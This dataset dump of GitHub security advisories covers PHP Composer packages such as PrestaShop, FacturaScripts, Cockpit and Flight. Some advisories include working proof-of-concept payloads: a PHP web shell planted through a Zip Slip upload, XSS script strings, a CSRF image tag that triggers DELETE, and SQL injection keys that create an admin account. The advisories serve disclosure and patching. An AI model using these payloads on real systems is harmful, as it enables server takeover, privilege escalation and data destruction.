deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-w9f3-qc75-qgx9
Package: prestashop/prestashop (COMPOSER)
Severity: CRITICAL (CVSS 9.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 9.0.0, < 9.1.1
Patched in: 9.1.1

Summary: PrestaShop has a stored XSS executable in customer service view

Details:
### Impact

This is a **stored Cross-site Scripting (XSS)** vulnerability in the PrestaShop back-office Customer Service view.

An unauthenticated attacker can submit the public Contact Us form with a malicious email address. The payload is stored in the database and executed when a back-office employee opens the affected customer thread, enabling session hijacking and full back-office takeover.

### Patches

Patched in PrestaShop 8.2.6 and 9.1.1.

### Workarounds

None.

### Resources

- Reported by Savio at Doyensec (`anthropic@doyensec.com`) in collaboration with Anthropic Research.
GitHub Security Advisory: GHSA-w9f3-qc75-qgx9
Package: prestashop/prestashop (COMPOSER)
Severity: CRITICAL (CVSS 9.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 8.2.6
Patched in: 8.2.6

Summary: PrestaShop has a stored XSS executable in customer service view

Details:
### Impact

This is a **stored Cross-site Scripting (XSS)** vulnerability in the PrestaShop back-office Customer Service view.

An unauthenticated attacker can submit the public Contact Us form with a malicious email address. The payload is stored in the database and executed when a back-office employee opens the affected customer thread, enabling session hijacking and full back-office takeover.

### Patches

Patched in PrestaShop 8.2.6 and 9.1.1.

### Workarounds

None.

### Resources

- Reported by Savio at Doyensec (`anthropic@doyensec.com`) in collaboration with Anthropic Research.
GitHub Security Advisory: GHSA-qhh7-263p-54r3
Package: funadmin/funadmin (COMPOSER)
Severity: MODERATE (CVSS 7.3)
CWE: CWE-284: Improper Access Control
Vulnerable versions: <= 7.1.0-rc6
Patched in: unpatched

Summary: Funadmin has an Improper Access Control Issue

Details:
A flaw has been found in funadmin up to 7.1.0-rc6. This affects the function UploadService::chunkUpload of the file app/common/service/UploadService.php of the component Frontend Chunked Upload Endpoint. This manipulation of the argument File causes unrestricted upload. The attack is possible to be carried out remotely. The exploit has been published and may be used. Patch name: 59. To fix this issue, it is recommended to deploy a patch.
GitHub Security Advisory: GHSA-94g3-g5v7-q4jg
Package: phpseclib/phpseclib (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-208: Observable Timing Discrepancy
Vulnerable versions: >= 0.1.1, <= 1.0.26
Patched in: 1.0.27

Summary: phpseclib's AES-CBC unpadding susceptible to padding oracle timing attack

Details:
### Impact
Those using AES in CBC mode may be susceptible to a padding oracle timing attack.

### Patches
https://github.com/phpseclib/phpseclib/commit/ccc21aef71eb170e9bf819b167e67d1fd9e6e788

### Workarounds
Use AES in CTR, CFB or OFB modes

### References
https://github.com/phpseclib/phpseclib/commit/ccc21aef71eb170e9bf819b167e67d1fd9e6e788
GitHub Security Advisory: GHSA-jggh-5rmh-r6h5
Package: dolibarr/dolibarr (COMPOSER)
Severity: LOW (CVSS 3.7)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 15.0.3
Patched in: unpatched

Summary: Dolibarr has Insufficient Verification of Data Authenticity 

Details:
A security flaw has been discovered in Dolibarr ERP CRM up to 23.0.2. This vulnerability affects the function dol_verifyHash in the library htdocs/core/lib/security.lib.php of the component Online Signature Module. The manipulation results in improper verification of cryptographic signature. The attack may be performed from remote. Attacks of this nature are highly complex. It is stated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-gq5c-rw37-g46c
Package: facturascripts/facturascripts (COMPOSER)
Severity: LOW (CVSS 3.9)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 2025.71
Patched in: unpatched

Summary: FacturaScripts vulnerable to Reflected Cross-Site Scripting (XSS) via Cookie Manipulation

Details:
### Summary
A Reflected Cross-Site Scripting (XSS) vulnerability exists in the fsNick cookie parameter. The application reflects the cookie's value directly into the HTML without sanitization.

### Details
The fsNick cookie is rendered into the DOM without encoding. While the server does reject the modified session and forces a logout, the HTML containing the payload reaches the browser first. This lets the script execute immediately upon load, effectively beating the redirect.

### PoC

1. Log in to the application with any valid account.
<img width="2078" height="302" alt="image" src="https://github.com/user-attachments/assets/d8a9a779-44e0-4a3e-839f-0a031868fbd5" />

2. Capture any the GET request .
<img width="1267" height="276" alt="image" src="https://github.com/user-attachments/assets/22e43f73-4f86-4cab-a074-7aba584a71ac" />

3. Modify  the value of "fsNick" with the following JavaScript:
`<script>alert(window.origin)</script>`

4. Send the modified request.
<img width="1569" height="319" alt="image" src="https://github.com/user-attachments/assets/ade88db1-aadc-4c50-9e02-d09888067e98" />

5. Result
<img width="1217" height="771" alt="image" src="https://github.com/user-attachments/assets/5858fe9f-127a-4845-b484-5a7ef4ae2cb4" />

### Impact
The payload executes before the session ends, which could potentially allow for a single unauthorized action before the logout.
GitHub Security Advisory: GHSA-3pgc-xqg9-cfr6
Package: facturascripts/facturascripts (COMPOSER)
Severity: HIGH (CVSS 7.2)
CWE: CWE-20: Improper Input Validation, CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 2025.71
Patched in: unpatched

Summary: FacturaScripts Vulnerable to Remote Code Execution (RCE) via Zip Slip in Plugin Upload Mechanism

Details:
### Summary
A Critical vulnerability exists in the `Plugins::add()` function. The system fails to properly validate the file paths within uploaded ZIP archives. This allows an attacker to perform a Zip Slip attack, leading to Arbitrary File Write and Remote Code Execution (RCE) by overwriting sensitive .php files outside the designated plugins directory.

### Details
The vulnerability is located in Plugins.php. While the `testZipFile` function attempts to validate that the ZIP contains only one root folder, it does not sanitize or validate the individual file paths within that folder.
```js
// Vulnerable logic in Plugins.php
for ($index = 0; $index < $zipFile->numFiles; $index++) {
    $data = $zipFile->statIndex($index);
    $path = explode('/', $data['name']);
    if (count($path) > 1) {
        $folders[$path[0]] = $path[0];
    }
} 
```
An attacker can bypass this check by naming a file `ValidPluginName/../../shell.php`. The explode function will see ValidPluginName as the root folder, satisfying the `count($folders) != 1` check. However, during extraction, the `../../` sequence triggers a path traversal, allowing the file to be written anywhere the web server has permissions the root directory.
### PoC
Prepare Malicious ZIP: Use a tool (like evilarc) or a script to create a ZIP file where one of the entries is named: `MyPlugin/../../rce.php`
Inject Payload: Inside rce.php, put a simple shell: 
`<?php system($_GET['cmd']); ?>`
Upload: Navigate to the "Add Plugin" section in FacturaScripts and upload the malicious ZIP.
Execution: Access the shell via https://target.com/rce.php?cmd=whoami.

### Impact
Confidentiality: High (Attacker can read all database configs and files).
Integrity: High (Attacker can modify any file on the server).
Availability: High (Attacker can delete the entire installation).
> https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-27891.md
GitHub Security Advisory: GHSA-gr3r-crp5-qrrm
Package: intercom/intercom-php (COMPOSER)
Severity: CRITICAL (CVSS 9.3)
CWE: CWE-506: Embedded Malicious Code
Vulnerable versions: = 5.0.2
Patched in: unpatched

Summary: Compromised tag of intercom-php published via GitHub

Details:
### Impact

On April 30, 2026, a malicious commit was pushed to the intercom/intercom-php repository and tagged as version 5.0.2, using a compromised service account (github-management-service). This occurred as part of the same supply chain attack that affected intercom-client on npm.

The malicious version contained a Composer plugin that acted as a dropper, downloading the Bun JavaScript runtime (version 1.3.13) and executing an obfuscated credential-harvesting payload. The payload targeted cloud provider credentials (AWS, GCP, Azure), environment variables, .env files, SSH keys, local configuration files, and CI/CD secrets.

The malicious tag was live between approximately 20:53 UTC and 22:37 UTC on April 30, 2026, before being identified and reverted to a clean commit.

This compromise is part of the "Mini Shai-Hulud" supply chain campaign tracked by Wiz and Socket.

To check if a consuming project is affected, run: `composer show intercom/intercom-php --version`. If the project installed or updated between 20:53 and 22:37 UTC on April 30, it may have received the malicious version. The malicious commit hash was `e69bf4b3`. The clean commit is `9371eba9`. Check `composer.lock` to verify which version the consuming project is using.

### Patches

Version 5.0.1 and all prior versions are unaffected. The 5.0.2 tag has been reverted to a clean commit. Downgrade to 5.0.1 or run `composer clear-cache` and reinstall to get the clean 5.0.2.

### Workarounds

If a project installed version 5.0.2 during the affected window, treat all credentials accessible from that environment as compromised and rotate them. Clear the Composer cache with `composer clear-cache` and check `composer.lock` for the commit hash to confirm whether you have the malicious or clean version.

### Resources

- https://www.intercomstatus.com/us-hosting/incidents/01KQFN6VS6ARP1XBR1K1SBYY59
- https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
GitHub Security Advisory: GHSA-q57j-rwwx-7rwp
Package: mix/mix (COMPOSER)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 2.0.0, <= 2.2.17
Patched in: unpatched

Summary: MixPHP Framework has an SQL injection vulnerability via crafted `data` array

Details:
SQL injection vulnerability in MixPHP Framework 2.x thru 2.2.17 via crafted `data` array to the data function in BuildHelper.php.
GitHub Security Advisory: GHSA-vf35-8m4j-gm8v
Package: mix/mix (COMPOSER)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 2.0.0, <= 2.2.17
Patched in: unpatched

Summary: MixPHP Framework has an SQL injection vulnerability

Details:
SQL injection vulnerability in MixPHP Framework 2.x thru 2.2.17 via crafted `on` array to the joinOn function in BuildHelper.php.
GitHub Security Advisory: GHSA-32px-ccfx-cxq3
Package: krayin/laravel-crm (COMPOSER)
Severity: HIGH (CVSS 8.1)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: = 2.1.5
Patched in: 2.1.6

Summary: Krayin CRM allows a remote attacker to execute arbitrary code via compose email function

Details:
An issue in Krayin CRM v.2.1.5, which was fixed in v.2.1.6 allows a remote attacker to execute arbitrary code via the compose email function.
GitHub Security Advisory: GHSA-j2rx-4jg9-79mw
Package: cockpit-hq/cockpit (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: < 2.14.0
Patched in: 2.14.0

Summary: Cockpit Vulnerable to Unrestricted Upload of File with Dangerous Type

Details:
Cockpit versions 2.13.5 and earlier are affected by a misconfiguration within the Bucket component _isFileTypeAllowed function where a specially crafted filename bypasses an extension filter. This allows an authenticated attacker to rename arbitrary files with the .php file extension enabling arbitrary code to be executed on the underlying server.
GitHub Security Advisory: GHSA-p46p-7pmj-m34f
Package: cockpit-hq/cockpit (COMPOSER)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 2.14.0
Patched in: 2.14.0

Summary: Cockpit is vulnerable to directory traversal

Details:
Cockpit 2.13.5 and earlier is vulnerable to directory traversal via the Buckets component. This vulnerability allows authenticated attackers to write files to arbitrary locations within the uploads directory or overwrite assets with malicious versions.
GitHub Security Advisory: GHSA-fm6c-rhcf-7439
Package: cockpit-hq/cockpit (COMPOSER)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 2.14.0
Patched in: 2.14.0

Summary: Cockpit is vulnerable to arbitrary code execution

Details:
Cockpit versions 2.13.5 and earlier are vulnerable to arbitrary code execution via the filter parameter within multiple endpoints. This vulnerability allows an attacker to run system commands on the underlying infrastructure via the MongoLite $func operator.
GitHub Security Advisory: GHSA-x3f9-vcp2-hgcw
Package: bagisto/bagisto (COMPOSER)
Severity: LOW (CVSS 6.3)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 2.3.15
Patched in: unpatched

Summary: Bagisto affected by Server-Side Request Forgery

Details:
A vulnerability was found in Bagisto up to 2.3.15. Affected is the function copy of the component Downloadable Link Handler. The manipulation results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure and explained: "We already replied on the github advisories. All the security issues are addressed through security advisory. We will fix this in our upcomming releases."
GitHub Security Advisory: GHSA-65fp-7g2v-658r
Package: bagisto/bagisto (COMPOSER)
Severity: LOW (CVSS 3.5)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 2.3.15
Patched in: unpatched

Summary: Bagisto affected by Cross-site Scripting

Details:
A vulnerability was determined in Bagisto up to 2.3.15. Affected by this vulnerability is an unknown functionality of the component Custom Scripts Handler. This manipulation causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure and explained: "We already replied on the github advisories. All the security issues are addressed through security advisory. We will fix this in our upcomming releases."
GitHub Security Advisory: GHSA-j7rw-325j-2rmx
Package: getgrav/grav (COMPOSER)
Severity: LOW (CVSS 5.0)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: < 2.0.0-beta.2
Patched in: 2.0.0-beta.2

Summary: Duplicate Advisory: Grav has Insecure Deserialization in File Cache

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-gwfr-jfjf-92vv. This link is maintained to preserve external references.

### Original Description
A vulnerability was found in Grav CMS up to 1.7.49.5/2.0.0-beta.1. Affected by this vulnerability is the function FileCache::doGet of the file system/src/Grav/Framework/Cache/Adapter/FileCache.php of the component Cache Value Handler. The manipulation results in deserialization. The attack may be launched remotely. The attack requires a high level of complexity. The exploitation appears to be difficult. The exploit has been made public and could be used. Upgrading to version 2.0.0-beta.2 addresses this issue. The patch is identified as c66dfeb5f. The affected component should be upgraded.
GitHub Security Advisory: GHSA-qrch-52m5-vv85
Package: flightphp/core (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-209: Generation of Error Message Containing Sensitive Information
Vulnerable versions: < 3.18.1
Patched in: 3.18.1

Summary: Flight vulnerable to sensitive information disclosure via default error handler

Details:
### Summary
The default error handler `Engine::_error()` writes the full exception message, exception code, and stack trace (including absolute filesystem paths) directly into the HTTP 500 response, with no debug gating. Production deployments leak internal paths, any secret interpolated into an exception message, and full module structure — giving attackers primitives for chaining other weaknesses (LFI, path traversal).

### Affected code
`flight/Engine.php` (≈ lines 678-704):

```php
public function _error(Throwable $e): void
{
    ...
    $msg = sprintf(<<<'HTML'
        <h1>500 Internal Server Error</h1>
            <h3>%s (%s)</h3>
            <pre>%s</pre>
        HTML,
        $e->getMessage(),
        $e->getCode(),
        $e->getTraceAsString()
    );
    $this->response()->cache(0)->clearBody()->status(500)->write($msg)->send();
}
```

No `flight.debug` check, no environment gating.

### Proof of concept
Any uncaught exception — including those auto-raised from `handleError()` — returns:

```
HTTP/1.1 500 Internal Server Error

<h1>500 Internal Server Error</h1>
  <h3>secret path /var/www/config/db.yml; token=LEAKED123 (0)</h3>
  <pre>#0 [internal function]: {closure}()
  #1 /home/user/app/vendor/flightphp/core/flight/core/Dispatcher.php(361)...
  #2 /home/user/app/vendor/flightphp/core/flight/Engine.php(...)
  ...
  </pre>
```

Reproduced against the live PoC app at `/poc5/error`.

### Impact
- Disclosure of absolute filesystem paths (primes weaponization of LFI / path-traversal vulnerabilities in the same application).
- Disclosure of secrets (DB credentials, API tokens) when exceptions are constructed with interpolated configuration values.
- Enumeration of installed vendor packages and internal application structure.

### Patch (fixed in `3.18.1`, commit `b8dd23a`)
A new `flight.debug` setting (default `false`) gates the verbose output. In production the handler now emits only `<h1>500 Internal Server Error</h1>`. Developers can set `flight.debug = true` in local environments to restore the full trace output.

### Credit
Discovered by **@Rootingg**.
GitHub Security Advisory: GHSA-vxrr-w42w-w76g
Package: flightphp/core (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-436: Interpretation Conflict
Vulnerable versions: < 3.18.1
Patched in: 3.18.1

Summary: Flight: HTTP method override enabled by default, facilitating CSRF escalation and middleware bypass

Details:
### Summary
`Request::getMethod()` unconditionally honors the `X-HTTP-Method-Override` header and the `$_REQUEST['_method']` parameter on **any** HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin.

### Affected code
`flight/net/Request.php` (≈ lines 281-292):

```php
public static function getMethod(): string
{
    $method = self::getVar('REQUEST_METHOD', 'GET');
    if (self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE') !== '') {
        $method = self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE');
    } elseif (isset($_REQUEST['_method']) === true) {
        $method = $_REQUEST['_method'];
    }
    return strtoupper($method);
}
```

`$_REQUEST` aggregates `$_GET` and `$_POST`; on PHP runtimes with `request_order=GPC` it also includes `$_COOKIE`.

### Proof of concept
```
GET /item/42?_method=DELETE        HTTP/1.1
```
is dispatched as `DELETE /item/42`.

```
GET /item/42                       HTTP/1.1
X-HTTP-Method-Override: DELETE
```
is also dispatched as `DELETE /item/42`.

Trivial CSRF vector (no JavaScript required):
```html
<img src="https://victim.tld/item/42?_method=DELETE">
```
loaded on any attacker-controlled page triggers the destructive DELETE on page load, bypassing Same-Origin Policy (image loads are not blocked).

Reproduced against `/poc4/item/42`.

### Impact
- GET → DELETE / PUT CSRF on any route registered for unsafe verbs.
- Bypass of authentication, CSRF token, or rate-limiting middleware that is gated only on POST/DELETE.
- CDN cache poisoning: the CDN caches the GET response body while the origin executed a DELETE.

### Patch (fixed in `3.18.1`, commit `b8dd23a`)
A new `flight.allow_method_override` setting controls both override vectors. Operators can set it to `false` to disable `X-HTTP-Method-Override` and `_method` entirely.

### Credit
Discovered by **@Rootingg**.
GitHub Security Advisory: GHSA-xwqr-rcqg-22mr
Package: flightphp/core (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 3.18.1
Patched in: 3.18.1

Summary: Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete

Details:
### Summary
`SimplePdo::insert()`, `SimplePdo::update()`, and `SimplePdo::delete()` build SQL statements by concatenating the `$table` argument and the **keys** of the `$data` array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. `$db->insert('users', $request->data->getData())` — an attacker can inject arbitrary SQL by crafting malicious array keys.

### Affected code
`flight/database/SimplePdo.php`:

```php
// insert (≈ 320-373)
$sql = sprintf(
    "INSERT INTO %s (%s) VALUES (%s)",
    $table,                            // raw concat
    implode(', ', $columns),           // raw array_keys($data)
    implode(', ', $placeholders)
);

// update (≈ 397-409)
$sets[] = "$column = ?";               // $column = user-controlled key
$sql = sprintf(
    "UPDATE %s SET %s WHERE %s",
    $table,                            // raw
    implode(', ', $sets),
    $where
);

// delete (≈ 427-429)
$sql = "DELETE FROM $table WHERE $where";
```

No identifier-quoting helper exists; neither `$table` nor the data keys are validated against a safe-identifier pattern.

### Proof of concept
A controller does:
```php
$db->insert('users', $request->data->getData());
```

The attacker sends the JSON body:
```json
{"name, is_admin) VALUES (?, 1);-- ": "attacker_injected"}
```

Generated SQL:
```sql
INSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?)
```

After the `--` comment, the effective statement `INSERT INTO users (name, is_admin) VALUES (?, 1)` binds the single placeholder `'attacker_injected'`, yielding a row with `is_admin = 1`.

Reproduced live on an in-memory sqlite database (`testproj/sqli_live2.php`):

```
id=1  name=alice              is_admin=0
id=2  name=attacker_injected  is_admin=1   <-- injected insert
```

`UPDATE` injection via the `$where` parameter was also reproduced: `$db->update('users', ['is_admin' => 1], "id = 1 OR 1=1")` flips admin on every row.

### Impact
- **Privilege escalation** on any signup / register endpoint that forwards request data to `insert()` (attacker creates an administrative account in a single request).
- Arbitrary column write through `update()` keys.
- Data destruction and exfiltration through the `$where` parameter (`DELETE FROM users WHERE 1=1`, UNION-based exfil, etc.).

### Patch (fixed in `3.18.1`, commit `b8dd23a`)
A new `requireSafeIdentifier()` helper validates table names and column names against `^[A-Za-z_][A-Za-z0-9_]*$` before they are interpolated into the SQL string. The `$where` parameter remains raw SQL as documented — parameterized values passed alongside it continue to be bound safely.

### Credit
Discovered by **@Rootingg**.